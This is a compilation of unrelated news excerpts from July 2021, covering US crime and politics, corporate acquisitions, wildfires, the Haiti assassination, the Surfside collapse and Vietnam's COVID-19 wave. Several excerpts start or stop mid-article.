The watchdog investigation also found that when the FBI's Indianapolis field office's handling of the matter came under scrutiny, officials there did not take any responsibility for the missteps and gave incomplete and inaccurate information to internal FBI inquiries.

The FBI rebuked its own employees who failed to act in the case and said it "should not have happened."

"The actions and inactions of certain FBI employees described in the Report are inexcusable and a discredit to this organization," the agency said in a statement.

"The FBI has taken affirmative steps to ensure and has confirmed that those responsible for the misconduct and breach of trust no longer work FBI matters," the statement said. "We will take all necessary steps to ensure that the failures of the employees outlined in the Report do not happen again."
WASHINGTON (AP)  In a meeting intended to reflect the importance of U.S.-German ties, Kamala Harris will hold talks with Chancellor Angela Merkel at the vice presidents residence Thursday, the first time she has hosted a foreign leader at the Naval Observatory since taking office.

At their breakfast meeting, Harris intends to emphasize the need for the allies to confront an array of global challenges, from the coronavirus pandemic and climate change to the threats posed by Russia and China.

It underscores the special nature of this partnership and Americas special role in the world that she is able to host her at her home," said Phil Gordon, the vice president's deputy national security advisor, told The Associated Press.

Harris and Merkel also will discuss the need to promote and defend democracy at home, acknowledging, frankly, that we face challenges in our own countries and we need to talk about that," Gordon said.

Also expected to come up is the U.S. withdrawal from Afghanistan, as well as the role of NATO and Germany in maintaining stability in Afghanistan in the aftermath.
The man told the witness that the house was owned by a 50-year-old who was running the trafficking ring and decided to have Tibbetts killed after the publicity surrounding her disappearance got too big. The man allegedly said he and an associate followed through with a plan devised by the 50-year-old to stab Tibbetts and frame a Hispanic man for the death.

The Freses said they learned Tuesday about a criminal investigation that centered on a 50-year-old man who allegedly met one of his sex trafficking victims in May 2018 at a gas station in Brooklyn, Tibbetts' hometown of 1,700 people that is roughly 50 miles (80 kilometers) west of Iowa City.

The woman told investigators that the man lured her to a house in the nearby town of New Sharon, where she was repeatedly drugged, raped, and held against her will until August 2018, court records show. The woman said she sometimes would hear other women's voices in the home.

Law enforcement officials used the information to obtain a warrant to search the home days after they interviewed her in March 2019, but it had already been vacated by the 50-year-old man. They did not charge him, and Mahaska County's sheriff said recently the kidnapping and sex trafficking allegations were never substantiated.
Sherrod B. (Mike) Clarke is CEO of New Frontier, which lists a New York office in business filings and is backed by a private group of family offices and institutional investors. Clarke is a 35-year veteran of the construction material industry, previously working for Vulcan Materials, a publicly traded construction material giant based in Birmingham, Alabama.

In an interview, Clarke said that this is New Frontiers first acquisition and that the former Fred Weber assets will serve as a base from which to acquire similar businesses in other markets.

Its a platform to look at other companies in the U.S., Clarke said. Its the beginning, its our first foray, and we look to add to that.

Clarke said the management and operations teams for Fred Webers quarry and asphalt operations will remain in place. He wont be based in St. Louis full time but said he plans to be here frequently.

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We have a very, very talented local team that will be running it, he said.

The headquarters will remain in Maryland Heights. The firm also will look for nearby opportunities, he said. St. Louis has a very stable market with the opportunity to grow, Clarke said.
"The federal grant funds distributed through National CASA/GAL are provided by the Office of Juvenile Justice and Delinquency Prevention, US Department of Justice, as authorized under the Victims of Child Abuse Act of 1990. In 2019, National CASA/GAL was awarded nearly $7 million in federal grants."

For those unfamiliar with the program, heres a little information about CASA of the Parkland.

While CASA of the Parklands office is located nearby the county courthouse in Farmington, it serves children in four counties in the region. Its mission is to recruit, train, and support community volunteers who assist the court in protecting the best interests of abused and neglected children in the 24th Judicial Circuit, including Madison, St. Francois, Ste. Genevieve, and Washington counties.

CASA volunteers are appointed by judges to advocate for childrens best interests. They stay with each case until it is closed, and the child is in a safe, permanent home. They serve children from birth through the age of 18. Their volunteers work with legal and child welfare professionals, educators, and service providers to ensure that judges have all the information they need to make the most well-informed decisions for each child.

CASA is a 501(c)(3) nonprofit organization and a member of the National Court Appointed Special Advocate/Guardian ad Litem (CASA/GAL) Association for Children. To find out more about CASA, visit www.casaoftheparkland.org or follow us on Facebook at CASA of the Parkland. Additional information can be found at www.nationalcasagal.org.

Kevin R. Jenkins is the managing editor of the Farmington Press and can be reached at 573-756-8927 or kjenkins@farmingtonpressonline.com

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In our opinion, St. Augustines coolest pet-friendly attraction is the Fountain of Youth Archaeological Park. This is the place to go to experience Old Florida scenery and see quaint historical buildings. Youll even have an opportunity to drink from a real spring locally known as the fountain of youth - the magical fountain Ponce de Leon was seeking when he first set foot on St. Augustines shores in 1513. Pets are welcome just about everywhere in the park, so bring them along for the fun.

No need to worry about great places to stay with your pooch, because St. Augustine offers a wide selection of pet-friendly hotels!

Its not surprising that historical small towns have a love for pets. Many such towns have roots in farming, value family and community, and want to preserve the things that matter - just like most animal lovers. Bob Johnson, owner of Wake Forests The Cotton Company, sums it up perfectly:
Truckin' Tuesday kicked off its first night in the park on June 22, with the hot Missouri summer temperatures taking a break and making way for a pleasant evening in the shade.

"Although we were working with a short timeframe and lost a couple of vendors close to setup time, we were pleased with the community participation we had for our first Truckin' Tuesday," Madison County Chamber Board Member and Event Organizer Ashley Bales said.

With the short notice of the event, numerous food trucks had already committed to other locations and one had transportation-related issues on its way to the event.

However, despite only having a few trucks, the park slowly started to fill with patrons and soon it was hard to find a seat.

Ghee Ghee's Kitchen was serving up tasty quesadillas as fast as it could and Amy's Goodies had dessert covered with its fried pies and shaved ice.

After the great turnout from the community, it has been decided by the Madison County Chamber of Commerce and the City of Fredericktown to hold Truckin' Tuesday once a month. The next event will be July 24 from 4 to 7 p.m.

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OMAHA, Neb. (AP)  Federal regulators say Berkshire Hathaway's $1.3 billion deal to buy a natural gas pipeline from Dominion Energy that fell apart this week should have never been attempted because a similar deal drew strong opposition in the past.

The acting director of the Federal Trade Commissions Bureau of Competition, Holly Vedova, said Tuesday that the companies involved should have known that the deal was unlikely to get approved because the agency previously opposed a similar combination involving Dominions Questar pipeline and Berkshires Kern River pipeline.

It is disappointing that the FTC had to expend significant resources to review this transaction when we previously filed suit in 1995 to block the same combination, Vedova said. Given our prior action, and the even closer competition that developed between the pipelines since then, this is representative of the type of transaction that should not make it out of the boardroom.

Vedova noted the Kern River and Questar pipelines are the only two pipelines that bring natural gas from where it is produced in the Rocky Mountains to central Utah, so allowing the two to combine would undermine the competition that benefits consumers.
Outside the big cities, Missouri is very much Trump country. The Kaiser Family Foundation reports that only 35% of the people in counties that voted for Donald Trump are vaccinated, versus nearly 47% in counties that went for Joe Biden. (Its thus not surprising that Staten Island, the only New York City borough to vote for Trump, has some of the highest infection rates in the city.)

And the Biden county vaccination numbers would be undoubtedly higher had they not included large Black and immigrant populations that are hesitant (the polite term) to take the vaccine. In parts of Central Brooklyn, for example, where many Caribbean immigrants worry  without scientific evidence  that the vaccine will hurt fertility, only one-third have gotten all their shots.

There is a habit among woke journalists to attribute the higher sickness rates to racism, but the reality is more complicated. In truth, rural whites in Trump Country have joined many poor people of color in fear of the vaccine or simple resistance to following informed advice.
Now what?

Late last week, a state commissioner announced that five Virginia mental health hospitals would not accept new admissions until staff numbers and patient populations can be rebalanced. Among them is Western State Hospital in Staunton.

Three state facilities remain unaffected.

These eight hospitals handle adult cases; the states only psychiatric facility for youth  also in Staunton  already has cut its admissions by more than 62% because it lacks sufficient employees.

The announcement comes despite a law requiring state hospitals to accept patients in crisis if regional mental health officials cannot find beds for them elsewhere.

The law is largely responsible for plunging state hospitals into a crisis of their own. Emergency admissions have increased by nearly 400% since 2013, just before the law went into effect. Staffing and space expansions have not kept pace. As admissions have climbed, employees have had to absorb crushingly heavy workloads.

COVID has added another layer of difficulty, hitting patients and staff alike. Some state hospitals also say they dont have the capacity to care for patients who have serious medical problems, COVID-related or not, on top of psychiatric problems.
Tamil Nadu: Indian Marine Fisheries Bill: Fisheries ministry to hold virtual meet with MPs from coastal areas

by Bosco Dominique

July 14,2021 | Source: The Times of India

The Union fisheries, animal husbandry, and dairying ministry will hold a video conference at 11am on July 15 with the MPs elected from coastal constituencies to elicit their views on the draft Indian Marine Fisheries Bill, 2021. In a letter, Union fisheries minister Parshottam Rupala invited Villupuram MP D Ravikumar to attend the virtual conference to discuss various provisions of the draft Bill. Rupala was optimistic that the inputs and suggestions of the MPs from the coastal areas would address the concerns related to the livelihood of traditional and small-scale fishers besides paving way for sustainable development of marine fisheries in the country. He said Lok Sabha speaker Om Birla mooted the idea of convening a meeting with the MPs from coastal areas to discuss the provisions of the proposed the National Marine Fisheries (Regulation and Management) Bill, 2020 (now renamed as Indian Marine Fisheries Bill, 2021) and register their views and suggestions. Birla mooted the idea during a discussion in February last year on the presence of foreign fishing trawlers in India's exclusive economic zone (EEZ).

 2021 Bennett, Coleman & Co. Ltd.
Pakistan: Detains five Chinese trawlers for alleged illegal fishing

July 14,2021 | Source: The Guardian

Pakistan has detained five Chinese trawlers on suspicion of illegal fishing near its strategic port city of Gwadar, as a wave of protests swept across the region led by fishers concerned about losing control of their fishing grounds to China. The Chinese trawlers, loaded with fish, were taken into custody by the Pakistan Maritime Security Agency (PMSA), which has begun an investigation into their suspicious presence in Gwadar, where China has built a deep-sea port as part of its global belt and road initiative. Hundreds of fishers have rallied against the Chinese trawlers since last week, accusing them of fishing in Pakistani waters and sending the catch back to China. A group consisting of local authorities and fishers visited one of the Chinese trawlers on Sunday to determine whether its fish had been caught in provincial waters. The fishers believe the Chinese trawler had caught fish on the Gwadar coast, said Khudadad Waju, the president of Fisherfolk Alliance Gwadar. They are visiting other Chinese trawlers today to learn more. We demand that these fish should be auctioned in Gwadar and not be taken to China. Akbar Raess, 70, has been a fisher for five decades. For centuries we have been fishing here. My grandfather was a fisherman and my children are fishermen, too. This sea provides us a living. The Chinese trawlers are here to end our livelihood. We will protest against them until the government stops granting them fishing rights, he said. The port of Gwadar is considered the gateway to the China Pakistan Economic Corridor (CPEC), a multibillion-dollar Chinese megaproject that invests in Pakistan as part of Beijings belt and road initiative of global infrastructure projects. In 2017 Pakistan surrendered control of Gwadars port to a Chinese state-run company, China Overseas Port Holding Company (COPHC), under a 40-year lease agreement.



Before the beginning of the CPEC and Gwadar port [deal], we were told that it would change our lives by bringing development and employment for us, Raees said. But we are losing our livelihoods and the sea. Younas Anwar, a fisher and the general secretary at Fisherfolk Alliance Gwadar, said the development of the port had led to local fishers being barred from their traditional fishing grounds. We are not allowed to fish there due to security reasons, he said. Waju said concerns were sparked last year when 20 Chinese deep-sea trawlers arrived in the port of Karachi to fish in Sindh and Balochistan provinces. We expressed our fears to the COPHC chairman and other Chinese authorities a year ago in Karachi that if the Chinese trawlers would be allowed inside Balochistan it would damage our livelihood, but we were reassured it wouldnt happen, said Waju. Zhang Baozhong, the COPHC chairman, denied that the detained Chinese trawlers were fishing in Gwadar, claiming they were sheltering from a storm. The fishing boats at Gwadar anchorage [called] for safety from the monsoon of [the] Indian Ocean and have followed the International Maritime Organization (IMO) rules. There is no foreign, including Chinese, fishing company fishing now, and no fishing company will be allowed to fish in Pakistan water in the future, Zhong told the Guardian.



The local fishers said that explanation was not credible. Initially the government had remained silent on the matter, but later in a statement said that the trawlers claimed that they had been caught up in a storm and were taking refuge. Anwar said that when the prime minister, Imran Khan, visited Gwadar on 5 July, he assured locals that no Chinese trawlers had been awarded licenses to fish within the 12-nautical-mile limit. But other reports suggest about 100 Chinese trawlers have been granted licenses. Tahir Bizinjo, a senator from Balochistan whose National party has been protesting against the Chinese trawlers, says the government is now denying it has issued licenses because the protests are causing political heat. He told the senate that the presence of the Chinese trawlers in Gwadar shows the government has indeed granted them fishing rights. The government has to stop entertaining Chinese trawlers. The trawlers dont only snatch the livelihood of the indigenous fishermen, but they also destroy sea ecology, environment and wipe out seafood, Bizinjo told the senate. According to documents seen by the Guardian, a senate standing committee following Bizinjos remarks confirmed that the Chinese ships did not seek permission to enter Pakistans waters and did not respond to the mandatory very high frequency and louder calls. It needs to be verified whether there was any bad weather condition as claimed by [the] Chinese fishing vessels.

 2021 Guardian News & Media Limited
Its possible that Maldonado-Passage could receive an even lower sentence than the range cited in the ruling because the court has to consider other factors too, his appeals attorney, Brandon Sample, said.

Meanwhile, another attorney representing Maldonado-Passage, John M. Phillips, hinted at the possibility of seeking a new trial, saying in a statement he would be filing motions citing previously undisclosed and newly discovered evidence in the case as well as examples of government misconduct.

People should know what they saw on television isnt the full truth. It isnt even the tip of the iceberg. It was snowflakes on the tip of the iceberg, largely manufactured by those who wanted to see Joe Exotic in jail for their own benefit," he said.

Maldonado-Passage, who has maintained his innocence, was also sentenced for killing five tigers, selling tiger cubs and falsifying wildlife records.

His supporters were disappointed that former President Donald Trump failed to issue him a pardon before leaving office. They were so confident in his chances that they had readied a celebratory limousine and a hair and wardrobe team to whisk him away from prison.
"I think that is the challenge before the board, is how do you address that concern for families when we really want 90 percent of our kids to be back in person?" she said. "And we have families who are in that distance learning group who aren't coming because they're concerned about the spread of COVID. I think that action could have negative impacts that the board may not be predicting."

In other business Monday, the board voted unanimously to move forward with purchasing modular classrooms for both Waverly and North Albany Elementary schools, which Goff said would allow kindergarten classes to top out at 17 students.

GAPS is expecting a boom in kindergarten class sizes this fall because many families opted to keep their children home a year rather than participate in remote learning. The goal this fall is to have no more than 10% of students using distance learning options.

"Our limitation with getting to 17 students at first grade will be the available space," Goff said following the meeting. "We know we will have the space for kindergarten and will be reducing first grade as space allows."

Board members also agreed to use Robert's Rules of Order, a specific form of parliamentary procedure, beginning with Wednesday's special meeting.
BLY  An army of firefighters labored in hot, dry and windy weather Tuesday to contain fires chewing through wilderness and burning homes across drought-stricken Western states already sweltering in the second heat wave of the year.

A high-pressure system that created the intense weather was weakening, but temperatures were forecast to remain above normal on the lines of more than 60 active large blazes burning in the West and Alaska.

More than 14,000 firefighters and support personnel were attacking fires covering close to a million acres (1,562 square miles, 4,047 square kilometers) of land, according to the National Interagency Fire Center.

The largest fire in the United States was incinerating huge swaths of the Fremont-Winema National Forest in southern Oregon, where firefighters received a warning about conditions from incident commander Al Lawson.

As you go out there today  adjust your reality," he said. "We have not seen a fire move like this, in these conditions, this early in the year. Expect the fire to do things that you have not seen before.
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Denton, TX (76205)

Today

Partly cloudy skies during the evening giving way to a few showers after midnight. Low around 75F. Winds light and variable. Chance of rain 30%..

Tonight

Partly cloudy skies during the evening giving way to a few showers after midnight. Low around 75F. Winds light and variable. Chance of rain 30%.
Brazils antitrust regulator CADE has given its unconditional approval for the acquisition of Copel Telecom, the telecommunications subsidiary of Parana state power firm Copel, by local investment fund Bordeaux.

The value offered by Bordeaux in the auction held in November 2020 on the B3 was R$ 2.39 billion (US$460mln) and will be updated by the Selic rate until the date of its settlement.

"In addition to the final and unappealable decision of CADE, the completion of the operation is also subject to the verification of other conditions precedent, under the terms established in the contract," Copel said in a statement.

The decision of the antitrust body will become final 15 days after publication in the Federal Official Gazette, which also took place last Friday.

CADE's General Superintendence (Superintendencia-Geral, SG) even consulted the market due to the fact that the telecommunications group formed by Bordeaux, which also acquired Sercomtel last year, has more than 20% market share in some cities in Parana.

The fund bought the telecommunications arm of Parana in December 2020, after an auction disputed inch by inch with the Minas Gerais operator Algar Telecom. The Share Purchase and Sale Agreement was duly signed on 14 January 2021.
The Abu Dhabi Investment Authority (ADIA), a sovereign wealth fund (SWF) owned by the Emirate of Abu Dhabi, has acquired a stake in EdgePoint Infrastructure, a telecom towers platform focused on Southeast Asia.

According to a press release from ADIA, it has committed up to $500 million to invest in the Southeast Asia-focused digital infrastructure platform firm and to support the future growth of the platform, which is expected to include both acquisitions and the development of new towers.

EdgePoint develops, acquires, and operates telecom towers, distributed antenna systems, and related infrastructure in Southeast Asia. These assets, numbering more than 10,000, are spread across Indonesia and Malaysia. The company now wants to focus on other countries in Southeast Asia.

Khadem Al Remeithi, executive director of real estate for ADIAs Infrastructure Department, said: We believe this platform can play an important role in increasing both the capacity and coverage of digital services in the region, particularly in Indonesia where regulatory changes are encouraging international investors to explore opportunities.

The regions fast-growing digital economy requires growth in telecommunications towers. The pandemic highlights the importance of digital infrastructure in mitigating future crises, so operators are pushing to replace legacy low-speed broadband networks with next-generation access platforms.

EdgePoint, formed in late 2020, is a portfolio company of Digital Colony Partners II, the flagship private equity fund of US-based DigitalBridge Group (formerly Colony Capital). In late May, EdgePoint Infrastructure purchased Asiaspaces tower assets in Malaysia and in recent months accumulated a majority stake in Indonesian tower company Centratama, which manages about 3,300 towers.

EdgePoint Infrastructures Indonesian subsidiary closed a $750 million deal with Indosat Ooredoo for more than 4,200 towers in March.
Theres been some surprise news from Mexico, where a major name in telecommunications leading a project to close the countrys digital divide has filed for bankruptcy protection.

Mexican telecommunications company Altan Redes has since 2016 been developing an ambitious telecommunications network (known as the Red Compartida). It is a shared network, built for carriers delivering what is described as 4.5G LTE voice and data that allows for easy migration to 5G.

The shared network is part of a reform to the sector aimed at improving low levels of mobile phone penetration and network coverage in the country. It is also hoped that the shared network will help to curb the dominance of the giant America Movil, controlled by the family of billionaire Carlos Slim.

As we reported earlier this year, Altan Redes recently signed an agreement with the national government so that operators Telcel, AT&T and Movistar can connect to its network.

However, a recent Reuters report indicates that Altan Redes has now filed for bankruptcy. The company has said it is seeking protection under Mexican law to renegotiate its debts. It added that it would continue with the deployment of its network and the operation of the most important telecommunications project in the history of the country.

According to TeleGeographys CommsUpdate, Altan Redes is a consortium including Axtel, Megacable and the International Finance Corporation (IFC). After winning a government tender it began work on establishing an open-access 700MHz wholesale network. This now covers 72.782 million people, or just under 65 percent of the population.

However, the consortium has already had coverage problems. It missed its January 2021 coverage target, which was 70 percent, and, according to local newspaper El Universale, plans to ask the federal government to extend the target date of 92.2 percent coverage of the population from 2024 to 2028 due to lack of financial resources.
Were zooming up on the start of school. Im super excited Washington State University is going to completely be back to normal, with no restrictions. That is the appropriate response to the end of the pandemic, and it is a statement against irrational fear, and pro-science. COVID-19 has now
July 31 St. Paul A.M.E Church Lay Organization in Ozark will host the 2021 Men and Women Conference on Saturday, Aug. 7 from 9:30 a.m. to 12:30 p.m. at the Perry Recreation Center located at 223 Community Drive in Ozark. The theme is Breaking Down Barriers, and there will be three speakers: Sister Pertrenna Jackson, Liberty Christian Church of Dothan, Pastor Sam Jackson, III, Liberty Christian Church of Dothan, and Pastor Grandville Anderson, Pleasant Hill AME Church of Salem. The pre-registration fee is $20 and is due by Saturday, July 31. The onsite registration fee is $25. To register or get more information, contact Sandra Edwards, president of the St. Paul AME Church Lay, at 334-828-3149 or Tonita Williams at 813-966-9232.

Enterprise Womens Day Class of Community Bible Study will begin Aug. 16. The class will meet on Mondays from 10 a.m. until noon in the chapel of First Baptist Church located on 302 North Main Street. For those who cannot meet in person, a dedicated online Core Group will be offered. The class will spend 30 weeks studying 1 and 2 Peter and Revelation. Online registration is open now for the in-person class or the online Core Group at enterprise.cbsclass.org, or interested parties can contact the Class Coordinator by phone at 334-494-2039 or by email bandL@yahoo.com. Registration will be offered throughout the year. A Childrens Ministry is in progress, and children will be put on a waiting list.
ASUNCION, Paraguay (AP)  Wrapped in a Paraguayan flag and with a photograph of her young face, a coffin with the remains of Leidy Vanessa Luna Villalba arrived Tuesday in Asuncion where it was received by relatives grieving the nanny killed when a Miami-area condominium tower collapsed.

The 23-year-old had been working for the family of the sister of Paraguayan first lady Silvana Abdo in the building in Surfside, Florida, that fell June 24. The bodies of the sister, Sophia Lopez Moreira; her husband, Luis Pettengill; and the youngest of their three children have been found. Their two other children remain missing.

Traveling with Luna Villalbas coffin on the flight was her mother, Juana Villalba, and cousin Lourdes Luna. They did not make comments at the airport as they disembarked.

Her wake will be held in the town of Eugenio Garay, 170 kilometers (106 miles) south of Asuncion.

Leidys mother is being seen to by two psychologists from the Ministry of Women, but with this the grieving process begins. We must respect their pain in silence, it is time for consolation in the embrace," Foreign Minister Euclides Acevedo said iat a news conference after greeting the women.
The demonstrations were extremely unusual on an island where little dissent against the government is tolerated. The last major public demonstration of discontent, over economic hardship, took place nearly 30 years ago in 1994. Last year, there were small demonstrations by artists and other groups, but nothing as big or widespread as what erupted this past weekend.

The U.S. has, so far at least, not detected any surge of migrants from Cuba, Homeland Security Secretary Alejandro Mayorkas told reporters in Washington on Tuesday.

He also cautioned Cubans that any migrants intercepted at sea are returned to their homelands or sent to other countries under long-standing agreements intended to discourage people from trying to make the dangerous crossing.

The humanitarian message to the people of Cuba is do not take to the seas, Mayorkas said. People die when they try to migrate in the maritime channel irregularly.

The issue of Cuban migration in opposition to the government resonates with Mayorkas, whose family fled the Cuban revolution in the 1960s.

I understood what it meant for my father to lose everything that he had built for his young family, he said. We stand with the people of Cuba.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
In June 2000, Jaar filed a civil suit against the U.S. government seeking the return of a large amount of cash taken from him along with his passport and tourist visa when he was stopped in a rental car by customs agents. He was not arrested at the time, but Jaar said he learned he was under investigation for money laundering.

The government later returned his property and did not file charges. Jaar, who dropped the lawsuit, described himself in court papers as the owner of a successful import business in Haiti. He said his family has operated the enterprise since 1944.

Authorities in Haiti are investigating Moises killing with help from Colombias government, which has said at least 18 former Colombian soldiers suspected in the slaying have been arrested and remain detained in Haiti. Charles said three Haitians also have been arrested and at least three suspects killed, adding that they continue to investigate those detained to identify the masterminds behind the slaying.

The detained Haitians have been identified as Solages, Joseph Vincent and Christian Emmanuel Sanon.
I am not looking for personal glory. We have the country first in mind, he told Radio Television Caraibes.

The deepening political instability comes as Haitian authorities continue to probe the assassination with help from Colombia's government. Twenty-six former Colombian soldiers are suspected in the killing, and 23 have been arrested, along with three Haitians. Leon Charles, head of Haiti's National Police, said five suspects are still at large and at least three have been killed.

Police on Tuesday identified three of the five fugitives, describing them as armed and dangerous. One is former Sen. John Joel Joseph, a well-known Haitian politician who is an opponent to the Tet Kale party that Moise belonged to. Another is Rodolphe Jaar, who uses the alias Whiskey and was indicted in 2013 with two other men in federal court in South Florida on charges of conspiring to smuggle cocaine from Colombia and Venezuela through Haiti to the U.S. He pleaded guilty and was sentenced to nearly four years in prison, according to court records.

At his 2015 sentencing hearing, Jaars attorney told the court that Jaar had been a confidential source for the U.S. government for several years before his indictment. He also agreed to cooperate with federal authorities.
Two student financial assistance programs administered by the Alabama Commission on Higher Education (ACHE) will be receiving additional funding this fall following the signature of Gov. Kay Ivey on two bills passed during the legislative session. The Alabama Math and Science Teacher Education Program (AMSTEP) is available for public middle through high school teachers in the state teaching math, science, or computer science. The original AMSTEP bill was passed by lawmakers four years ago, but has been amended to expand the eligibility requirements due to the shortage of teachers in those fields.

Last December commissioners approved the 2021 ACHE legislative agenda which weighed heavily on helping students pay for college.

We asked for more money to help students starting college, as well as assisting STEM educators already in an Alabama classroom paying off student loans, said Dothan businessman and ACHE Chairman Charles Buntin.

Another ACHE legislative item has been signed into law that makes eligibility changes to the Police Officers and Firefighters Survivor Educational Assistance Program. Tuition, fees, books, and supplies are covered in the grants. Eligible recipients include spouses and dependent natural and dependent adopted children under the age of 21.
Yet another female caller said she was stuck near the building parking garage and needed help. Part of the condo remained standing after the collapse but was taken down later by a demolition crew.

Can somebody help me get out, please? If the building comes down, it will come down on my head, the caller said.

Release of the calls Wednesday came as a judge approved the sale of the oceanfront property, with proceeds intended to benefit victims of the deadly disaster.

At a hearing, Miami-Dade Circuit Judge Michael Hanzman ordered that the process begin to sell the site of Champlain Towers South, which could fetch $100 million to $110 million according to court records.

The court-appointed receiver handling finances related to the condo, attorney Michael Goldberg, said the judge wants the sale to move quickly.

He wants us to start exploring a potential sale, Goldberg said of the judge in an email. He did say he wants the land to be sold and the proceeds to go directly to the victims as soon as possible.

Goldberg said the decision did not necessarily preclude a buyer from turning at least a portion of the site into a memorial, as some people have advocated. Other survivors want the structure rebuilt so they can move back in.
A high-profile trial began in Athens this week with the selection of a jury that will hear the case against a longtime Limestone County Sheriff, Mike Blakely.

Blakely, who has served since 1983, faces theft and ethics charges in this extraordinary trial. An Alabama sheriff is a countys top law enforcement official, elected by the people. Sheriffs have broad powers and great responsibility, so the publics trust is paramount. When that trust is broken, it is a palpable betrayal of the people.

Thats why the public has great interest in the progression of Mike Blakelys trial, and why the decision of the special judge, retired state Court of Criminal Appeals Judge Pamela Willis Baschab, to close the trial to reporters and the public is difficult to swallow. After all, the state Supreme Court found that secrecy in pretrial proceedings is offensive to the general public and undermines the public trust essential to an effective judicial system.

The Alabama Press Association, the Alabama Broadcasters Association, and several newspapers and television stations asked Baschab to open the proceedings, saying members of the public have a constitutional right to attend criminal court proceedings, and that holding jury selection in secret is unconstitutionally overbroad.
Food firms try to keep production going

A bedroom for workers at the Ba Huan Joint Stock Company. Photo by VnExpress/Linh Dan.

Food companies in HCMC are seeking to both sustain production and protect their workers from Covid-19 to ensure sufficient supply in the market.

Ba Huan Joint Stock Company, a major chicken and egg producer, has dedicated areas for employees to work, sleep and eat on its premises amid HCMCs ongoing 15-day social distancing.

Its deputy general director Pham Thanh Hung told VnExpress: "We have divided Ba Huan into three areas: for workers at farms, workers at food processing facilities and office workers. In the office area, only three people, instead of the 10 previously, are permitted to work in one room."

All employees are tested for coronavirus twice a week, he added.

Truong Chi Thien, general director of Vinh Thanh Dat Food Corporation, said: "We will isolate two areas in our factory and staff in one cannot go to the other, and accommodate our workers at our warehouse and campus."

The company has hired cooks to make food for the workers.

C.P. Vietnam Corporation, a leading husbandry and animal feed producer, has instructed its workers to stay on its pig farms, its deputy general director, Le Xuan Huy, said. "Our farms are situated far from residential areas."

Saigon Food Joint Stock Company is converting its dressing rooms, dining rooms and warehouses into temporary accommodation for workers.

"We will hire more mobile water closets to serve workers who stay at our factory," it said.

Workers at Vfood Companys egg production line work two meters away from each other. Photo courtesy of Vfood.

The city Department of Industry and Trade encourages companies that comply with Covid-prevention conditions to let their employees work, sleep and eat at the workplace.

Since the new wave of Covid-19 emerged in Vietnam on April 27, the nation has recorded 33,035 community infections in 58 cities and provinces. HCMC has the highest number of cases, 18,210.
Facilities around Ho Chi Minh City make up U.S. chipmaker Intel's biggest assembly and testing operations worldwide. Photo courtesy of Intel.

Chip giant Intel and soda maker Coca-Cola are doing all they can to maintain manufacturing operations amid HCMCs worst Covid-19 wave.

Intel has vaccinated 71 percent of its employees in Vietnam, which hosts the companys largest chip assembly and testing site, according to Nikkei.

Vietnam has "put in place the safety mandates to ensure the safety for people first, which is very good, but [we] also have to keep the business running to maintain Vietnam's competitiveness," said Uyen Ho, Intel Vietnam and Malaysia director of public affairs.

Coca-Cola Vietnam has set up tents to house its workers within its premises to prevent contagion.

The company pays about $10 a day extra to workers who live on site and received their written consent so they would know what they were in for, said Truc Huynh, the company's human resources director.

"We need to prepare our people's mindset for living on site," she said.

These measures are imposed as Ho Chi Minh City experiences its most severe Covid-19 outbreak with over 18,000 local cases in over two months.

Amid the citys 15-day social distancing campaign, only factories that have imposed strict social distancing measures, including setting up accommodation for its workers and conducting regular Covid-19 tests are allowed to operate.
An enterprise closed down at the Tan Thuan Export Processing Zone, HCMC. Photo by VnExpress/Tat Dat.

Many companies in HCMC closed down because of Covid-19 infections are struggling to fulfill orders. A production breakdown looms if the closures are prolonged, industry insiders say.

After Covid-19 infections were detected at the Tan Thuan Export Processing Zone in District 7, 29 enterprises have had to cease operations. Many said they have had to apologize to customers for potential late deliveries.

Furukawa Automotive Parts Vietnam Inc., which has an 8,000 workforce, had to close four of its five workshops in the EZ Monday, Hoang Xuan Thai, head of the companys labor union, told VnExpress Tuesday.

The sole workshop open has to operate at full capacity, but the company finds it impossible to deliver goods on time and very hard to fulfill orders, he said, adding that it was forced to apologize to clients.

The automotive parts producer also faces labor shortages because many workers are so afraid of the pandemic that they have unilaterally decided to stay at home or returned to their hometowns.

Meanwhile, the leader of a garment maker in the zone said: "We are negotiating with clients. If they agree, we will deliver goods late; otherwise, we will lose orders."

Many enterprises in other HCMC districts are facing the same situation.

Covid-19 related problems have forced Taiwans footwear maker Pouyuen Vietnam with over 56,000 staff to suspend operation from Wednesday.

Cu Phat Nghiep, head of the companys labor union, said production had slowed down significantly due to the worker shortage at a time it has many urgent orders to fulfill. If the company, the biggest employer in HCMC, cannot negotiate with clients successfully, it will have to compensate for late delivery, he said.

Under the ongoing circumstances, enterprises are struggling because of deadlocked production, said Tran Thien Long, vice chairman and general secretary of the Ho Chi Minh City Export Processing Zone and Industrial Park Authority Business Association (HBA).

He said a survey by HBA found most enterprises saying production chains will be broken if they are locked down for a long period of time. "They want production back. They have proposed a plan on maintaining social distancing in their factories, with all production, dining and residing taking place inside to prevent infections," he said.

A HCMC working group including the HBA will keep studying the actual situations of firms to suggest practical solutions.

The road leading to the Tan Thuan Export Processing Zone in HCMC is deserted during rush hour. Photo by VnExpress/Tat Dat.

"After one survey of 29 enterprises at the Tan Thuan Export Processing Zone, we concluded that some 50 percent can return to normal operation and meet conditions for production, accommodation and having meals in their factories," Long said.

Meanwhile, firms outside the industrial zones, like My Hao and FPT Software, are also creating areas for employees to work, sleep and eat within the premises.
French Ambassador to Vietnam Nicolas Warnery has announced a program to vaccinate all French citizens above 18 and their spouses.

The program will also cover all employees of the France-Vietnam diplomatic network and their spouses.

The vaccine used for this program, which is funded by the French government, is the U.S.s Moderna. Each person on the list would receive two doses several weeks apart, the ambassador stated Tuesday.

The campaign will start by the end of July in Hanoi and Ho Chi Minh City.

In Ho Chi Minh City, the campaign will begin on July 27 at the FV Hospital in Phu My Hung, District 7 and is expected to last about two weeks. The second injection will take place a month later. The appointment is open on July 15.

In Hanoi, the campaign will take place from July 22 to 29 for the first injection, and from August 26 to 31 and September 6 and 7 for the second injection, at the French Hospital of Hanoi in Dong Da District. Appointments are open from July 15 to July 21.

Vietnam is suffering the most challenging Covid-19 wave ever, which broke out in the nation in late April.

Since then, more than 33,000 community infections have been recorded in 58 of its 63 cities and provinces.

HCMC is now the epicenter with over 18,200 cases.

The nation has so far vaccinated more than four million of its 96-million population.
In southern Vietnam, epicenter Ho Chi Minh City recorded 666 cases, including 458 in quarantined zones and areas under lockdown. The sources of transmission of the remaining 208 are still unknown.

Its neighbor Dong Nai Province got 80 cases, including 43 cases related to a cluster at Hoa An market in Bien Hoa Town, 23 in isolated areas, nine returning from HCMC and five are being contact traced.
